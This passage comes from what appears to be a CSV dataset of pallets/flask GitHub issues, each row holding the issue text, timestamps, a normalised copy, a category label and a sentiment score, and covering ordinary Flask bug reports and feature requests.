    runpy.run_path(target, run_name=""__main__"")
  File ""/home/lazydreamer/.vscode-server/extensions/ms-python.debugpy-2024.4.0-linux-x64/bundled/libs/debugpy/_vendored/pydevd/_pydevd_bundle/pydevd_run... [TRUNCATED]",,2024-04-06 12:17:26+00:00,2024-04-06 15:06:25+00:00,2,nan,0.1173,unable to start flask app on a minimal implementation with simply create a minimal flask app as follow and execute it it will fail instantly on importing error trace text traceback most recent call last file home lazydreamer anaconda envs test env lib python runpy py line in run module as main return run code code main globals none file home lazydreamer anaconda envs test env lib python runpy py line in run code exec code run globals file home lazydreamer vscode server extensions ms python debugpy linux x bundled libs debugpy adapter debugpy launcher debugpy main py line in cli main file home lazydreamer vscode server extensions ms python debugpy linux x bundled libs debugpy adapter debugpy launcher debugpy debugpy server cli py line in main run file home lazydreamer vscode server extensions ms python debugpy linux x bundled libs debugpy adapter debugpy launcher debugpy debugpy server cli py line in run file runpy run path target run name main file home lazydreamer vscode server extensions ms python debugpy linux x bundled libs debugpy vendored pydevd pydevd bundle pydevd run truncated,others,-0.5994
pallets/flask,2220905760,HTTP response status 204 (`No Content`) includes superfluous `Content-Type` header,"
When returning HTTP code `204` Flask will include a `Content-Type` header which is superfluous as there is no content.

Environment:

- Python version: 3.9
- Flask version: 3.0.2
",,2024-04-02 16:09:38+00:00,2024-04-02 16:28:46+00:00,1,nan,0.0133,http response status includes superfluous header when returning http code flask will include a header which is superfluous as there is no content environment python version flask version,others,-0.296
pallets/flask,2216902484,Post request response time spikes,"Hello,

in my project I need to upload images as bytes to an endpoint and then process them, within a certain time. The images have a resolution of 600x600 and weight ~700 kB per image. Images are in png format. I have created a minimal flask application with one endpoint. The application is served using a waitress.

The problem is that sometimes response time from an endpoint suddenly increases by an order of magnitude. As I have to fit in a certain amount of time, such spikes can cause a critical error.

I ran a cProfile on the post request and found out that when there is a spike two functions take more time than normal:

**Normal**

```
ncalls  tottime  percall  cumtime  percall filename:lineno(function)
     2    0.000    0.000    0.000    0.000 {method 'sendall' of '_socket.socket' objects}
     1    0.004    0.004    0.004    0.004 {method 'recv_into' of '_socket.socket' objects}
```

**Spike**

```
ncalls  tottime  percall  cumtime  percall filename:lineno(function)
     2    0.008    0.004    0.008    0.004 {method 'sendall' of '_socket.socket' objects}
     1    0.012    0.012    0.012    0.012 {method 'recv_into' of '_socket.socket' objects}
```

What is the cause of these spikes, and can they be resolved in some way?

Code to reproduce:

```
# app.py
import numpy as np
from flask import Flask, request


def create_app():
    app = Flask(__name__)

    @app.route(""/endpoint"")
    def endpoint():
        data = request.data
  ... [TRUNCATED]",,2024-03-31 10:56:17+00:00,2024-03-31 16:27:32+00:00,1,nan,0.23,post request response time spikes hello in my project i need to upload images as bytes to an endpoint and then process them within a certain time the images have a resolution of x and weight kb per image images are in png format i have created a minimal flask application with one endpoint the application is served using a waitress the problem is that sometimes response time from an endpoint suddenly increases by an order of magnitude as i have to fit in a certain amount of time such spikes can cause a critical error i ran a cprofile on the post request and found out that when there is a spike two functions take more time than normal normal spike what is the cause of these spikes and can they be resolved in some way code to reproduce app py import numpy as np from flask import flask request def create app app flask name app route endpoint def endpoint data request data truncated,feature,0.5994
pallets/flask,2214364118,Use of `hashlib.sha1` causes issue in FIPS build,"The use of SHA1 found here: https://github.com/pallets/flask/blob/b90a4f1f4a370e92054b9cc9db0efcb864f87ebe/src/flask/sessions.py#L289
prevents applications from running in a FIPS Enabled Environment/OS. The OS will abruptly stop the application from running when it detects a non compliant Hash Algorithm is used.

Describe how to replicate the bug:
Enforce FIPS Enabled on the OS (such as RHEL9)


Unexpected Behavior Error output:
```bash
Traceback (most recent call last):
  File ""/opt/abc-app/app.py"", line 1, in <module>
    from xxxxxxxxxx import xxxxxxx
  File ""/opt/abc-app/abc-app_ui.py"", line 67, in <module>
    sess.init_app(app=app)
  File ""/opt/abc-app/venv/lib/python3.11/site-packages/flask_session/__init__.py"", line 50, in init_app
    app.session_interface = self._get_interface(app)
                            ^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/opt/abc-app/venv/lib/python3.11/site-packages/flask_session/__init__.py"", line 79, in _get_interface
    session_interface = FileSystemSessionInterface(
                        ^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/opt/abc-app/venv/lib/python3.11/site-packages/flask_session/sessions.py"", line 312, in __init__
    self.cache = FileSystemCache(cache_dir, threshold=threshold, mode=mode)
                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""/opt/abc-app/venv/lib/python3.11/site-packages/cachelib/file.py"", line 73, in __init__
    self._update_count(value=len(list(self._list_dir()... [TRUNCATED]",,2024-03-29 00:05:14+00:00,2024-04-07 18:42:30+00:00,3,nan,9.7759,use of causes issue in fips build the use of sha found here prevents applications from running in a fips enabled environment os the os will abruptly stop the application from running when it detects a non compliant hash algorithm is used describe how to replicate the bug enforce fips enabled on the os such as rhel un error output bash traceback most recent call last file opt abc app app py line in from xxxxxxxxxx import xxxxxxx file opt abc app abc app ui py line in sess init app app app file opt abc app venv lib python site packages flask session init py line in init app app session interface self get interface app file opt abc app venv lib python site packages flask session init py line in get interface session interface filesystemsessioninterface file opt abc app venv lib python site packages flask session sessions py line in init self cache filesystemcache cache dir threshold threshold mode mode file opt abc app venv lib python site packages cachelib file py line in init self update count value len list self list dir truncated,bug,-0.6705
pallets/flask,2210123162,"When using Flask to receive multiple files, an extra ‘0D’ appears at the end of some images","When using Flask to receive multiple image files, occasionally an extra ""0D"" appears at the end of the image. The original data is saved, and the end of this image is normal ""FFD90D0A"". Packet capture tools also show a normal ending. If this request is sent repeatedly, the same error will continue to occur, and the saved image cannot be resent to reproduce the issue.

Below is the main code for sending and receiving. This code cannot be run directly because it needs to read some data.

```
files={}
files[i]=(""name"", data[i], 'image/jpeg')
response = requests.post(
            ""http://192.168.1.50:8006/test"",
            files = files,
        )
```


```
import flask

app = flask.Flask(__name__)

@app.before_request
def before_request():
    path=flask.request.path
    data=flask.request.get_data(cache=True, as_text=False)
    flask.request.data1=data

@app.route('/test', methods = ['POST'])
def testfile():
    data=flask.request.data1
    files=flask.request.files
    files=[(i,files[i]) for i in files]
    for i in range(len(files)):
        with open(f""test/{i}.jpg"",""wb"") as f:
            files[i][1].seek(0, os.SEEK_END)
            file_size = files[i][1].tell()
            files[i][1].seek(0)
            f.write(files[i][1].read(file_size))
    return flask.jsonify({""code"":0})

if __name__ == '__main__':
    app.run(host=""0.0.0.0"",port=8006)
```



I have analyzed the raw data and source code, and used packet capture tools to ... [TRUNCATED]",,2024-03-27 08:03:15+00:00,2024-03-27 08:05:05+00:00,1,nan,0.0013,when using flask to receive multiple files an extra d appears at the end of some images when using flask to receive multiple image files occasionally an extra d appears at the end of the image the original data is saved and the end of this image is normal ffd d a packet capture tools also show a normal ending if this request is sent repeatedly the same error will continue to occur and the saved image cannot be resent to reproduce the issue below is the main code for sending and receiving this code cannot be run directly because it needs to read some data i have analyzed the raw data and source code and used packet capture tools to truncated,others,0.6617
pallets/flask,2206311647,Broken HTML Markup in Template Inheritance,The HTML Markup within the docs is broken. A <p> Tag is opened but never closed.,,2024-03-25 17:33:19+00:00,2024-03-25 17:37:29+00:00,1,nan,0.0029,broken html markup in template inheritance the html markup within the docs is broken a tag is opened but never closed,others,-0.4767
pallets/flask,2197285142,Unable to silence logging messages,"Im getting ~15 of:

> 127.0.0.1 - - [16/Mar/2024 12:10:13] ""POST / HTTP/1.1"" 200 -

in the terminal when Im running a Dash application.
```
server = flask.Flask(__name__)
app = dash.Dash(
    __name__,
    server=server,
    external_stylesheets=[dbc.themes.BOOTSTRAP],
    meta_tags=[
        {""name"": ""viewport"", ""content"": ""width=device-width, initial-scale=1""}
    ],
)
```
(https://github.com/AlexKurek/srt-py/blob/master/srt/dashboard/app.py#L53)

How do I silence them? I have found a lot of methods, e.g. [Disable console messages in Flask server](https://stackoverflow.com/questions/14888799/disable-console-messages-in-flask-server), but none of them worked. My guess is that since they worked in previous versions of Flask - could this be a regression?

Environment:

- Python version: 3.11
- Flask version: 3.0.2
",,2024-03-20 11:19:28+00:00,2024-03-20 12:15:23+00:00,1,nan,0.0388,unable to silence logging messages im getting of mar post http in the terminal when im running a dash application how do i silence them i have found a lot of methods e g disable console messages in flask server but none of them worked my guess is that since they worked in previous versions of flask could this be a regression environment python version flask version,others,0.0
pallets/flask,2179469413,How to avoid duplicate threads in debug mode,"## Issue Description

I have a similar issue as #5307 and I also understand the arguments related to threads in web applications.

In my case of a web server for controlling Raspberry Pi cameras [raspiCamSrv](https://github.com/signag/raspi-cam-srv), there are several threads under control of the web app, like live stream, video recording, etc.    
These threads use the [Picamera2](https://github.com/raspberrypi/picamera2) library which starts its own threads.

This is normally not an issue because these threads are started by users from the Web UI after the Flask server has started.

Now, I have added a motion capture feature, which is also running in an own thread and users want this feature to be automatically started with the server, for example after the device has been rebooted.

Currently, I start this thread in the app factory ```create_app()```.   
And, as in #5307, the thread is started again when I start Flask with the ```--debug``` option.

I do not seem to have the possibility from my own code to detect whether these threads are already active.   
The classes from which these threads are started and which hold their references, seem to be initialized again, although they are singletons.

## Question

I am not considering this as a bug.

My question is whether there is a possibility in ```create_app()```, to know that the app is being recreated on behalf of the autoloader.

## Environment:

- Python version: 3.11.2
- Flask version: 3.0.0
... [TRUNCATED]",,2024-03-11 15:44:00+00:00,2024-03-11 16:34:53+00:00,0,nan,0.0353,how to avoid duplicate threads in debug mode issue description i have a similar issue as and i also understand the arguments related to threads in web applications in my case of a web server for controlling raspberry pi cameras raspicamsrv there are several threads under control of the web app like live stream video recording etc these threads use the picamera library which starts its own threads this is normally not an issue because these threads are started by users from the web ui after the flask server has started now i have added a motion capture feature which is also running in an own thread and users want this feature to be automatically started with the server for example after the device has been rebooted currently i start this thread in the app factory and as in the thread is started again when i start flask with the option i do not seem to have the possibility from my own code to detect whether these threads are already active the classes from which these threads are started and which hold their references seem to be initialized again although they are singletons question i am not considering this as a bug my question is whether there is a possibility in to know that the app is being recreated on behalf of the autoloader environment python version flask version truncated,bug,-0.34
pallets/flask,2176645934,Starter example results in 404 error,"The basic example from the readme / flask docs throws a 404 error instead of returning the Hello World message

If you run the code from the example:

```
# save this as app.py
from flask import Flask

app = Flask(__name__)

@app.route(""/"")
def hello():
    return ""Hello, World!""
```

and then open 127.0.0.1:5000


Instead of getting the Hello World message, you get a 404.
When re-trying the app exits with code 0 instead of launching the server.


Environment:

- Python version: 3.12
- Flask version: 3.02


",,2024-03-08 19:28:48+00:00,2024-03-08 20:19:08+00:00,4,nan,0.035,starter example results in error the basic example from the readme flask docs throws a error instead of returning the hello world message if you run the code from the example and then open instead of getting the hello world message you get a when re trying the app exits with code instead of launching the server environment python version flask version,bug,-0.7184
pallets/flask,2172212730,Flask is not running when Debug is True on Windows,"```
from flask import Flask
app = Flask(__name__)
if __name__ == ""__main__"":	
	app.run(debug=True)
```
I made main.py like above. 
and tried to run it with below command
`flask run --app test --debug`
`python main.py`
both way got the error like below

![image](https://github.com/pallets/flask/assets/45891661/d4b6ebc4-517c-41ba-9988-ce04172e2d1c)

`Traceback (most recent call last):
  File ""D:\Employer\Security Snares\ransomsnare-backend\flask\test.py"", line 4, in <module>
    app.run(debug=True)
  File ""D:\Employer\Security Snares\vee\lib\site-packages\flask\app.py"", line 615, in run
    run_simple(t.cast(str, host), port, self, **options)
  File ""D:\Employer\Security Snares\vee\lib\site-packages\werkzeug\serving.py"", line 1077, in run_simple
    srv = make_server(
  File ""D:\Employer\Security Snares\vee\lib\site-packages\werkzeug\serving.py"", line 917, in make_server
    return ThreadedWSGIServer(
  File ""D:\Employer\Security Snares\vee\lib\site-packages\werkzeug\serving.py"", line 779, in __init__
    self.socket = socket.fromfd(fd, address_family, socket.SOCK_STREAM)
  File ""C:\Users\K_Teacher\AppData\Local\Programs\Python\Python310\lib\socket.py"", line 545, in fromfd
    nfd = dup(fd)
OSError: [WinError 10038] An operation was attempted on something that is not a socket`

Environment:

- Python version: 3.10
- Flask version: 2.3.2, 3.0.2
- OS: Windows 10
",,2024-03-06 19:00:18+00:00,2024-03-06 19:46:03+00:00,1,nan,0.0318,flask is not running when debug is true on windows i made main py like above and tried to run it with below command both way got the error like below image traceback most recent call last file d employer security snares ransomsnare backend flask test py line in app run debug true file d employer security snares vee lib site packages flask app py line in run run simple t cast str host port self options file d employer security snares vee lib site packages werkzeug serving py line in run simple srv make server file d employer security snares vee lib site packages werkzeug serving py line in make server return threadedwsgiserver file d employer security snares vee lib site packages werkzeug serving py line in init self socket socket fromfd fd address family socket sock stream file c users k teacher appdata local programs python python lib socket py line in fromfd nfd dup fd oserror winerror an operation was attempted on something that is not a socket environment python version flask version os windows,bug,0.9485
pallets/flask,2168207594,@app.errorhandler() cannot be used in blueprint when debug=False,"I want to customize an error type in Flask, and then use `@app.errorhandler()` in the main program to capture it. Then, I define a function raise_error to actively throw this exception. When `debug=True` is enabled at runtime, both the main and blueprint routes can be used normally in the interface function. However, when `debug=False`, only the main route can be used, and the blueprint route cannot capture it and reports a program error,I hope someone  can help me take a look
There are two files in total(`mains.py`,`aaa.py`)

```
#python mains.py
from flask import jsonify, Flask
from typing import Union
app = Flask(__name__)

class CustomError(Exception):
    def __init__(self, message, status_code=500):
        try:
            self.message = message.__dict__
        except Exception as e:
            self.message = message
        self.status_code = status_code

def raise_error(msg: Union[dict, str], status: Union[int, str] = 500):
    raise CustomError(msg, status_code=status)

@app.route(""/"")
def home():
    raise_error(""this is error"")
    return {}

from aaa import router
app.register_blueprint(router)

@app.errorhandler(CustomError)
def handle_custom_exception(error: CustomError):
    response = jsonify({""code"": error.status_code, ""data"": error.message})
    response.status = 20
    return response

if __name__ == ""__main__"":
    # app.run(host=""0.0.0.0"", port=7788, debug=True) #can in blueprint
    app.run(host=""0.0.0.0"", port=7788... [TRUNCATED]",,2024-03-05 03:13:48+00:00,2024-03-05 03:54:33+00:00,0,nan,0.0283,app errorhandler cannot be used in blueprint when debug false i want to customize an error type in flask and then use in the main program to capture it then i define a function raise error to actively throw this exception when is enabled at runtime both the main and blueprint routes can be used normally in the interface function however when only the main route can be used and the blueprint route cannot capture it and reports a program error i hope someone can help me take a look there are two files in total python mains py from flask import jsonify flask from typing import union app flask name class customerror exception def init self message status code try self message message dict except exception as e self message message self status code status code def raise error msg union dict str status union int str raise customerror msg status code status app route def home raise error this is error return from aaa import router app register blueprint router app errorhandler customerror def handle custom exception error customerror response jsonify code error status code data error message response status return response if name main app run host port debug true can in blueprint app run host port truncated,bug,-0.9432
pallets/flask,2163958690,Secret Key Rotation,"Hi everyone,

I have started working with Flask in the last month and I noticed that there could be an improvement on secret key managment for sessions; specifically I am taking as reference OWASP Top 10 [Cryptographic Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures/) on the point where it talks about the importance of proper key managment (that isn't flask responsibility) and rotation.

I saw that there is a closed issue on that topic, however that was from 10 years ago, a lot of time passed so I thought it would be a nice thing pointing that out; I understand that this implies session invalidating when the secret key changes, but I think that this could be a choice left to developers based on security requirements of the specific system, therefore adding more flexibility.

If I am wrong in any way or it isn't feasible I hope that someone can provide me a good explanation about why.
",,2024-03-01 18:25:44+00:00,2024-03-01 20:42:48+00:00,1,nan,0.0952,secret key rotation hi everyone i have started working with flask in the last month and i noticed that there could be an improvement on secret key managment for sessions specifically i am taking as reference owasp top cryptographic failures on the point where it talks about the importance of proper key managment that isn t flask responsibility and rotation i saw that there is a closed issue on that topic however that was from years ago a lot of time passed so i thought it would be a nice thing pointing that out i understand that this implies session invalidating when the secret key changes but i think that this could be a choice left to developers based on security requirements of the specific system therefore adding more flexibility if i am wrong in any way or it isn t feasible i hope that someone can provide me a good explanation about why,others,0.9223
pallets/flask,2163828702,Keep code running after response has been sent. (To respond with HTTP requests to other servers) ,"Ability to send a response but continue execution.

An example of this problem is a backend Flask server which receives requests from another backend server, and returns one or more responses at different points in time. One such example is Telegram API.

https://core.telegram.org/bots/faq#how-can-i-make-requests-in-response-to-updates

While it is possible to simply send data back as an HTTP response, it is sometimes desirable to close the HTTP connection with a 200 to acknowledge the message has been received, and reopen a new connection for each response.

Here are some scenarios where this technique might be useful:

- Multiple messages are sent in a progressively more detailed nature, to ensure that errors in complex responses don't compromise simple responses. For example Response(""Hello"") Response (""Error"") Response(""Error 194:blablabla"")
- Separating messages carry a semantic meaning. For example: Response(""Ok so here's the plan\n We leave at 9 am \n ..."") != Response(""Ok so here's the plan"") Response(""We leave at 9 am"") Response(""..."")
- Responses may be scheduled for the future, well after the http connection closes by timeout.

Can we solve this without a builtin? Yeah sure, we can use threading or multiprocessing or libraries like celery. 

I think that the ideal solution is to integrate the multi threading into existing flask multithreading (Main server loop), and ideally integrating it into production one worker process per hardware core configur... [TRUNCATED]",,2024-03-01 17:08:47+00:00,2024-03-01 20:42:16+00:00,6,nan,0.1483,keep code running after response has been sent to respond with http requests to other servers ability to send a response but continue execution an example of this problem is a backend flask server which receives requests from another backend server and returns one or more responses at different points in time one such example is telegram api while it is possible to simply send data back as an http response it is sometimes desirable to close the http connection with a to acknowledge the message has been received and reopen a new connection for each response here are some scenarios where this technique might be useful multiple messages are sent in a progressively more detailed nature to ensure that errors in complex responses don t compromise simple responses for example response hello response error response error blablabla separating messages carry a semantic meaning for example response ok so here s the plan n we leave at am n response ok so here s the plan response we leave at am response responses may be scheduled for the future well after the http connection closes by timeout can we solve this without a builtin yeah sure we can use threading or multiprocessing or libraries like celery i think that the ideal solution is to integrate the multi threading into existing flask multithreading main server loop and ideally integrating it into production one worker process per hardware core configur truncated,feature,0.9341
pallets/flask,2162131361,transfer-encoding: debug server behavior differs from test client ,"With code like:

`            resp = make_response(file.open(""rb""))
           return resp
`

the debug server automatically kicks into transfer-encoding chunked mode:

```
curl -svo /dev/null -X GET localhost:8080/src/cond-mat/9805021 2>&1 | grep ""^<""
< HTTP/1.1 200 OK
< Server: Werkzeug/2.3.7 Python/3.11.2
< Date: Thu, 29 Feb 2024 21:14:59 GMT
< Transfer-Encoding: chunked
< Connection: close`
```
but in a unit test it does not go into Transfer-Encoding chunked mode or the header is missing:
```

client_with_test_fs = <FlaskClient <Flask 'browse'>>, path = '/src/', paperid = 'cond-mat/9805021'
expected_file = 'arXiv-cond-mat9805021v2.gz', desc = 'single file .gz'

    @pytest.mark.parametrize(""path,paperid,expected_file,desc"", [ [""/src/""]+c for c in cases] )
    def test_src(client_with_test_fs, path, paperid, expected_file, desc ):
        client = client_with_test_fs
        resp = client.get(path + paperid)
        assert resp
        assert resp.status_code == 200
>       assert resp.headers[""Transfer-Encoding""] == ""chunked"" # Must do chunked on a raw get for Cloud run large obj

tests/test_src.py:70: 
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

self = Headers([])
key = 'Transfer-Encoding', _get_mode = False

    def __getitem__(self, key, _get_mode=False):
        if not _get_mode:
            if isinstance(key, int):
                return self._list[key]... [TRUNCATED]",,2024-02-29 21:27:22+00:00,2024-02-29 22:10:10+00:00,1,nan,0.0297,transfer encoding debug server behavior differs from test client with code like resp make response file open rb return resp the debug server automatically kicks into transfer encoding chunked mode but in a unit test it does not go into transfer encoding chunked mode or the header is missing client with test fs path src paperid cond mat expected file arxiv cond mat v gz desc single file gz pytest mark parametrize path paperid expected file desc src c for c in cases def test src client with test fs path paperid expected file desc client client with test fs resp client get path paperid assert resp assert resp status code assert resp headers transfer encoding chunked must do chunked on a raw get for cloud run large obj tests test src py self headers key transfer encoding get mode false def getitem self key get mode false if not get mode if isinstance key int return self list key truncated,bug,-0.2617
pallets/flask,2153659617,Flask logging - Other libraries - FileHandler creates duplicate log entries,"**Description**

In my web server, based on Flask 3.0.0, ([raspi-cam-srv](https://github.com/signag/raspi-cam-srv)), I want to log to a log file.   
For implementation, I followed the Flask [Logging](https://flask.palletsprojects.com/en/3.0.x/logging/) documentation.   

For app and my own modules, I have added a FileHandler with

```
    # Configure loggers
    logsPath = os.path.dirname(app.instance_path) + ""/logs""
    os.makedirs(logsPath, exist_ok=True)
    logFile = logsPath + ""/raspiCamSrv.log""
    Path(logFile).touch(exist_ok=True)
    filehandler = logging.FileHandler(logFile)
    filehandler.setFormatter(app.logger.handlers[0].formatter)
    for logger in(
        app.logger,
        logging.getLogger(""werkzeug""),
        logging.getLogger(""raspiCamSrv.camera_pi""),
    ):
        logger.addHandler(filehandler)
        logger.setLevel(logging.ERROR)
```

As a result, I see duplicate entries for each log entry in the log file (see attachments, below).   
The log output on the console has single entries.

**Note**

I did not add the default_handler to the loggers as described in the Flask [Logging](https://flask.palletsprojects.com/en/3.0.x/logging/) documentation.   
When doing this, I get duplicate log entries also from the StreamHandler to the console.

**How to reproduce the bug**

This is the ```__init__.py```:  [__init__.py.txt](https://github.com/pallets/flask/files/14402038/__init__.py.txt)
This is the log file:  [raspiCamSrv.l... [TRUNCATED]",docs,2024-02-26 09:18:30+00:00,2024-04-07 19:03:59+00:00,11,docs,41.4066,flask logging other libraries filehandler creates duplicate log entries description in my web server based on flask raspi cam srv i want to log to a log file for implementation i followed the flask logging documentation for app and my own modules i have added a filehandler with as a result i see duplicate entries for each log entry in the log file see attachments below the log output on the console has single entries note i did not add the default handler to the loggers as described in the flask logging documentation when doing this i get duplicate log entries also from the streamhandler to the console how to reproduce the bug this is the init py txt this is the log file raspicamsrv l truncated,documentation,0.128
pallets/flask,2149613429,Route Aliases,"I think it would be cool if there were built-in aliases for routes, for example:

```py
@route(
    ""/information"",
    aliases=[""/info"", ""/faq""] # <- They all show the same thing as the main route `/information`.
)
```

It might be useless to some, but I don't. I think it would be useful to allow people to define multiple aliases for one route. It is possible as of now using this code I made:

```py
from typing import List, Callable, Union
from flask import Flask, wraps, redirect, jsonify

app = Flask(__name__)

def route(name: str, aliases: List[str] = [], **options) -> Callable:
    def decorator(func: Callable) -> Callable:
        @app.route(name, **options)
        @wraps(func)
        async def wrapper(*args, **kwargs) -> Union[redirect, jsonify]:
            return await func(*args, **kwargs)

        [app.route(alias, **options)(wrapper) for alias in aliases]

        return wrapper

    return decorator
```",,2024-02-22 17:56:35+00:00,2024-02-22 18:01:46+00:00,2,nan,0.0036,route aliases i think it would be cool if there were built in aliases for routes for example it might be useless to some but i don t i think it would be useful to allow people to define multiple aliases for one route it is possible as of now using this code i made,others,0.714
pallets/flask,2135115199,The dependency specifiers are too relaxed,"Good day!

We have dependency specifiers in such way:
https://github.com/pallets/flask/blob/b90a4f1f4a370e92054b9cc9db0efcb864f87ebe/pyproject.toml#L22-L24

But indeed `Werkzeug>=3.0.0` should be `Werkzeug>=3.0.0,<4` or `Werkzeug>=3.0.0,<3.1` or `Werkzeug==3.0.0`, etc.

Got it when I installed `flask==2.0.2` and got an incompatible `Werkzeug==3.0.2` along.

Thanks!",,2024-02-14 20:04:42+00:00,2024-02-14 20:06:06+00:00,3,nan,0.001,the dependency specifiers are too relaxed good day we have dependency specifiers in such way but indeed should be or or etc got it when i installed and got an incompatible along thanks,others,0.7845
pallets/flask,2130914693,CHIPS support,"Add an argument for `set_cookie` to add `Partitioned;` attribute to the Set-Cookie header.

According to Google, third-party cookies will soon be deprecated. [link](https://developers.google.com/privacy-sandbox/3pcd/prepare/prepare-for-phaseout)
For cross-site cookies which store data on a per site basis, like an embed, will need to migrate to [CHIPS](https://developers.google.com/privacy-sandbox/3pcd/chips), which uses `partitioned` storage to store cookies.",,2024-02-12 20:16:07+00:00,2024-02-12 20:46:44+00:00,1,nan,0.0213,chips support add an argument for to add attribute to the set cookie header according to google third party cookies will soon be deprecated link for cross site cookies which store data on a per site basis like an embed will need to migrate to chips which uses storage to store cookies,help,0.6597
pallets/flask,2129491148,Add domain support to Blueprint,"Currently, Blueprints support a `url_prefix` and a `subdomain` option. I would like to see support for a `domain` option.

I need to host the same codebase on two different sites, but with some of the routes only available to one domain and others only to the other, and roughly 3/4 of routes available on both sites.

I don't want to split the codebase into two because 95% of the code is the same. Checking for `request.host` on every route (even with a route decorator) is cumbersome. Having this at the level of Blueprints would make the most sense.

There's [a way to support multiple domains](https://gist.github.com/tachyondecay/a17960d5d8276387e7cf6982760e7ec2) but it does not allow for the sharing of routes.",,2024-02-12 06:18:51+00:00,2024-02-12 14:16:35+00:00,5,nan,0.3318,add domain support to blueprint currently blueprints support a and a option i would like to see support for a option i need to host the same codebase on two different sites but with some of the routes only available to one domain and others only to the other and roughly of routes available on both sites i don t want to split the codebase into two because of the code is the same checking for on every route even with a route decorator is cumbersome having this at the level of blueprints would make the most sense there s a way to support multiple domains but it does not allow for the sharing of routes,help,0.9001
pallets/flask,2125622378,send_file doesn't work with objects,"I had a file in an object of type io.BytesIO(), but when I put this object in a send_file made me the error that the parameter is incorrect.
In the version 2 this work well but in the version 3.0.2 doesn't.

Environment:

- Python version: 3.10.12
- Flask version: 3.0.2
",,2024-02-08 16:41:20+00:00,2024-02-08 18:38:00+00:00,1,nan,0.081,send file doesn t work with objects i had a file in an object of type io bytesio but when i put this object in a send file made me the error that the parameter is incorrect in the version this work well but in the version doesn t environment python version flask version,others,-0.3291
pallets/flask,2125368248,Extend Config type,"At the moment, Pylance, when in strict mode, report an error when trying to use app config. 
The return type of `app.config[""KEY""]` is `Unknown`

First time contribution to an open source project, i want to try and see if i can tell Flask to take into account changes made to `App.config_class` for type hints

Python 3.12

<!--
Replace this comment with an example of the problem which this feature
would resolve. Is this problem solvable without changes to Flask, such
as by subclassing or using an extension?
-->
",,2024-02-08 14:56:01+00:00,2024-02-08 15:12:22+00:00,1,nan,0.0114,extend config type at the moment pylance when in strict mode report an error when trying to use app config the return type of is first time contribution to an open source project i want to try and see if i can tell flask to take into account changes made to for type hints python replace this comment with an example of the problem which this feature would resolve is this problem solvable without changes to flask such as by subclassing or using an extension,others,-0.5994
pallets/flask,2123678354,Blueprint Dynamic URL For `string` vs. `path`,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

## Context

Not sure if this is a bug or intentional feature. When using Blueprint route with Flask, I understand routes with trailing `/` can be used to handle routes with and without `/`. (e.g. `/api/do/stuff` and `/api/do/stuff/`.

When you have route:

```python
@blueprint_api.route('/project/<string:category>/', methods=['POST'])
def project_category(category):
    ...
```

When user enters a route `/project/food/`, it will return what `project_category` does and returns, but when user enters `/project/food`, it will redirect to `/project/food/`.

So if you don't want the redirect, you might do something like:

```python
@blueprint_api.route('/project/<string:category>', methods=['POST'])  # 200 OK
@blueprint_api.route('/project/<string:category>/', methods=['POST'])  # 200 OK
def project_category(category):
    ...
```

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

## Replicate

Now this works fine if the dynamic route uses `string` type, but it seem to be working differently for `path` type.

```python
@blueprint_api.route('/project/<path:category>', methods=['POST'])  # 308 PERMANENT REDIRECT
@blu... [TRUNCATED]",,2024-02-07 19:00:25+00:00,2024-02-07 19:05:32+00:00,0,nan,0.0036,blueprint dynamic url for vs this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is context not sure if this is a bug or intentional feature when using blueprint route with flask i understand routes with trailing can be used to handle routes with and without e g and when you have route when user enters a route it will return what does and returns but when user enters it will redirect to so if you don t want the redirect you might do something like describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception replicate now this works fine if the dynamic route uses type but it seem to be working differently for type python blueprint api route project methods post permanent redirect blu truncated,others,-0.1977
pallets/flask,2105145046,`FileStorage` closed unexpectedly when using `copy_current_request_context`,"Whilst using boto3 for some S3 work in Flask, I needed to register an [event hook](https://boto3.amazonaws.com/v1/documentation/api/1.34.29/guide/events.html) which led to me discovering that `request.files[...]` get closed before the request is completely handled.

I found what looks like one of the events runs in a different thread so I wrapped the hook with `copy_current_request_context` which worked, but then found that by doing this, after calling `object.load()` (triggering the hooks) that `request.files[...]` is closed prematurely.

After some digging I found https://github.com/pallets/werkzeug/issues/1685 which I guess meant that some how the file streams loose context whilst bouncing through the thread and into another context (the copy of the original request context). I know that reported issue is for the main `request.stream`, but this affects the `FileStorage` streams under `request.files`.

To reproduce it here is the minimal code I managed to get this occurring with; only difference between `test_work` and `test_bust` is the use of `session.events.register(...)`.
```
import boto3
from flask import Flask, abort, copy_current_request_context, request

app = Flask(__name__)

def _test(params, **kwargs):

    pass

@app.route('/work', methods=['GET', 'POST'])
def test_work():

    if 'test' not in request.files:
        abort(400)
    file = request.files['test']

    session = boto3.session.Session()

    s3 = session.resource('s3')
    ... [TRUNCATED]",,2024-01-29 10:18:16+00:00,2024-01-29 15:35:56+00:00,1,nan,0.2206,closed unexpectedly when using whilst using boto for some s work in flask i needed to register an event hook which led to me discovering that get closed before the request is completely handled i found what looks like one of the events runs in a different thread so i wrapped the hook with which worked but then found that by doing this after calling triggering the hooks that is closed prematurely after some digging i found which i guess meant that some how the file streams loose context whilst bouncing through the thread and into another context the copy of the original request context i know that reported issue is for the main but this affects the streams under to reproduce it here is the minimal code i managed to get this occurring with only difference between and is the use of import boto from flask import flask abort copy current request context request app flask name def test params kwargs pass app route work methods get post def test work if test not in request files abort file request files test session boto session session s session resource s truncated,feature,0.1901
pallets/flask,2104168684,use ThreadPoolExecutor and copy_current_request_context  in flask will appear some bug,"in app.py file: 
```
from flask import Flask
app = Flask(__name__)

@app.route(""/"")
def hello_world():
    from test2 import start
    start()
    return ""<p>Hello, World!</p>""

if __name__ == ""__main__"":
    app.run(debug=True)
```


in test2 file:
```
from flask import copy_current_request_context
import time
